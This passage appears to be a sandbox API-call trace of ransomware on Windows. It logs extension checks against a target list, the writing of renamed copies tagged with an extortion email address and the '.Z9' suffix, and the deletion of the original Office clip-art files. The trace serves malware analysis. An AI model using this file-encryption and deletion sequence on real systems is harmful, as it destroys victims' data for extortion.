	[0186.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.140] lstrlenW (lpString=".zip") returned 4
	[0186.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.140] lstrlenW (lpString=".rar") returned 4
	[0186.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.140] lstrlenW (lpString=".bz2") returned 4
	[0186.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.140] lstrlenW (lpString=".7z") returned 3
	[0186.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.140] lstrlenW (lpString=".dbf") returned 4
	[0186.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.140] lstrlenW (lpString=".1cd") returned 4
	[0186.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.140] lstrlenW (lpString=".jpg") returned 4
	[0186.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.141] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.141] lstrlenW (lpString="J0153095.WMF") returned 12
	[0186.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0186.142] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=3704) returned 1
	[0186.142] CloseHandle (hObject=0x53c) returned 1
	[0186.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 0x220
	[0186.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0186.143] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.143] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0186.145] GetLastError () returned 0x0
	[0186.145] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0xe78, lpOverlapped=0x0) returned 1
	[0186.147] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xe80, lpOverlapped=0x0) returned 1
	[0186.148] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.149] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.149] SetEndOfFile (hFile=0x56c) returned 1
	[0186.149] CloseHandle (hObject=0x56c) returned 1
	[0186.149] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.149] SetEndOfFile (hFile=0x53c) returned 1
	[0186.157] CloseHandle (hObject=0x53c) returned 1
	[0186.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 1
	[0186.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.160] lstrlenW (lpString=".doc") returned 4
	[0186.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.160] lstrlenW (lpString=".docx") returned 5
	[0186.160] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0186.160] lstrlenW (lpString=".pdf") returned 4
	[0186.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.160] lstrlenW (lpString=".xls") returned 4
	[0186.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.160] lstrlenW (lpString=".xlsx") returned 5
	[0186.160] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0186.160] lstrlenW (lpString=".ppt") returned 4
	[0186.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.160] lstrlenW (lpString=".zip") returned 4
	[0186.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.160] lstrlenW (lpString=".rar") returned 4
	[0186.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.160] lstrlenW (lpString=".bz2") returned 4
	[0186.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.160] lstrlenW (lpString=".7z") returned 3
	[0186.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.161] lstrlenW (lpString=".dbf") returned 4
	[0186.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.161] lstrlenW (lpString=".1cd") returned 4
	[0186.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.161] lstrlenW (lpString=".jpg") returned 4
	[0186.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.161] lstrlenW (lpString=".doc") returned 4
	[0186.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.161] lstrlenW (lpString=".docx") returned 5
	[0186.161] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0186.161] lstrlenW (lpString=".pdf") returned 4
	[0186.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.161] lstrlenW (lpString=".xls") returned 4
	[0186.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.161] lstrlenW (lpString=".xlsx") returned 5
	[0186.161] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0186.161] lstrlenW (lpString=".ppt") returned 4
	[0186.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.161] lstrlenW (lpString=".zip") returned 4
	[0186.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.161] lstrlenW (lpString=".rar") returned 4
	[0186.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.162] lstrlenW (lpString=".bz2") returned 4
	[0186.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.162] lstrlenW (lpString=".7z") returned 3
	[0186.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.162] lstrlenW (lpString=".dbf") returned 4
	[0186.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.162] lstrlenW (lpString=".1cd") returned 4
	[0186.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0186.162] lstrlenW (lpString=".jpg") returned 4
	[0186.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.162] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.162] lstrlenW (lpString="J0153265.WMF") returned 12
	[0186.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.326] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=3008) returned 1
	[0186.326] CloseHandle (hObject=0x2d0) returned 1
	[0186.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 0x220
	[0186.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.340] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.340] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.342] GetLastError () returned 0x0
	[0186.342] ReadFile (in: hFile=0x55c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0xbc0, lpOverlapped=0x0) returned 1
	[0186.343] WriteFile (in: hFile=0x2d0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0186.345] ReadFile (in: hFile=0x55c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.345] WriteFile (in: hFile=0x2d0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.345] SetEndOfFile (hFile=0x2d0) returned 1
	[0186.345] CloseHandle (hObject=0x2d0) returned 1
	[0186.345] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.345] SetEndOfFile (hFile=0x55c) returned 1
	[0186.348] CloseHandle (hObject=0x55c) returned 1
	[0186.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 1
	[0186.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.350] lstrlenW (lpString=".doc") returned 4
	[0186.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.350] lstrlenW (lpString=".docx") returned 5
	[0186.350] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0186.350] lstrlenW (lpString=".pdf") returned 4
	[0186.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.350] lstrlenW (lpString=".xls") returned 4
	[0186.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.350] lstrlenW (lpString=".xlsx") returned 5
	[0186.350] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0186.350] lstrlenW (lpString=".ppt") returned 4
	[0186.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.350] lstrlenW (lpString=".zip") returned 4
	[0186.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.350] lstrlenW (lpString=".rar") returned 4
	[0186.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.350] lstrlenW (lpString=".bz2") returned 4
	[0186.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.350] lstrlenW (lpString=".7z") returned 3
	[0186.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.351] lstrlenW (lpString=".dbf") returned 4
	[0186.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.351] lstrlenW (lpString=".1cd") returned 4
	[0186.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.351] lstrlenW (lpString=".jpg") returned 4
	[0186.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.351] lstrlenW (lpString=".doc") returned 4
	[0186.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.351] lstrlenW (lpString=".docx") returned 5
	[0186.351] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0186.351] lstrlenW (lpString=".pdf") returned 4
	[0186.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.351] lstrlenW (lpString=".xls") returned 4
	[0186.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.351] lstrlenW (lpString=".xlsx") returned 5
	[0186.351] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0186.351] lstrlenW (lpString=".ppt") returned 4
	[0186.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.351] lstrlenW (lpString=".zip") returned 4
	[0186.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.351] lstrlenW (lpString=".rar") returned 4
	[0186.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.351] lstrlenW (lpString=".bz2") returned 4
	[0186.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.351] lstrlenW (lpString=".7z") returned 3
	[0186.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.352] lstrlenW (lpString=".dbf") returned 4
	[0186.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.352] lstrlenW (lpString=".1cd") returned 4
	[0186.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0186.352] lstrlenW (lpString=".jpg") returned 4
	[0186.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.352] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.352] lstrlenW (lpString="J0153305.WMF") returned 12
	[0186.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.353] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=38488) returned 1
	[0186.353] CloseHandle (hObject=0x55c) returned 1
	[0186.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 0x220
	[0186.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.354] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.354] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.355] GetLastError () returned 0x0
	[0186.356] ReadFile (in: hFile=0x55c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x9658, lpOverlapped=0x0) returned 1
	[0186.360] WriteFile (in: hFile=0x2d0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x9660, lpOverlapped=0x0) returned 1
	[0186.361] ReadFile (in: hFile=0x55c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.362] WriteFile (in: hFile=0x2d0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.362] SetEndOfFile (hFile=0x2d0) returned 1
	[0186.362] CloseHandle (hObject=0x2d0) returned 1
	[0186.362] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.362] SetEndOfFile (hFile=0x55c) returned 1
	[0186.365] CloseHandle (hObject=0x55c) returned 1
	[0186.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 1
	[0186.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.367] lstrlenW (lpString=".doc") returned 4
	[0186.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.367] lstrlenW (lpString=".docx") returned 5
	[0186.367] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0186.367] lstrlenW (lpString=".pdf") returned 4
	[0186.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.367] lstrlenW (lpString=".xls") returned 4
	[0186.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.367] lstrlenW (lpString=".xlsx") returned 5
	[0186.367] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0186.367] lstrlenW (lpString=".ppt") returned 4
	[0186.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.367] lstrlenW (lpString=".zip") returned 4
	[0186.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.367] lstrlenW (lpString=".rar") returned 4
	[0186.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.367] lstrlenW (lpString=".bz2") returned 4
	[0186.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.367] lstrlenW (lpString=".7z") returned 3
	[0186.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.367] lstrlenW (lpString=".dbf") returned 4
	[0186.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.368] lstrlenW (lpString=".1cd") returned 4
	[0186.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.368] lstrlenW (lpString=".jpg") returned 4
	[0186.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.368] lstrlenW (lpString=".doc") returned 4
	[0186.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString=".docx") returned 5
	[0186.368] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0186.368] lstrlenW (lpString=".pdf") returned 4
	[0186.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString=".xls") returned 4
	[0186.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.368] lstrlenW (lpString=".xlsx") returned 5
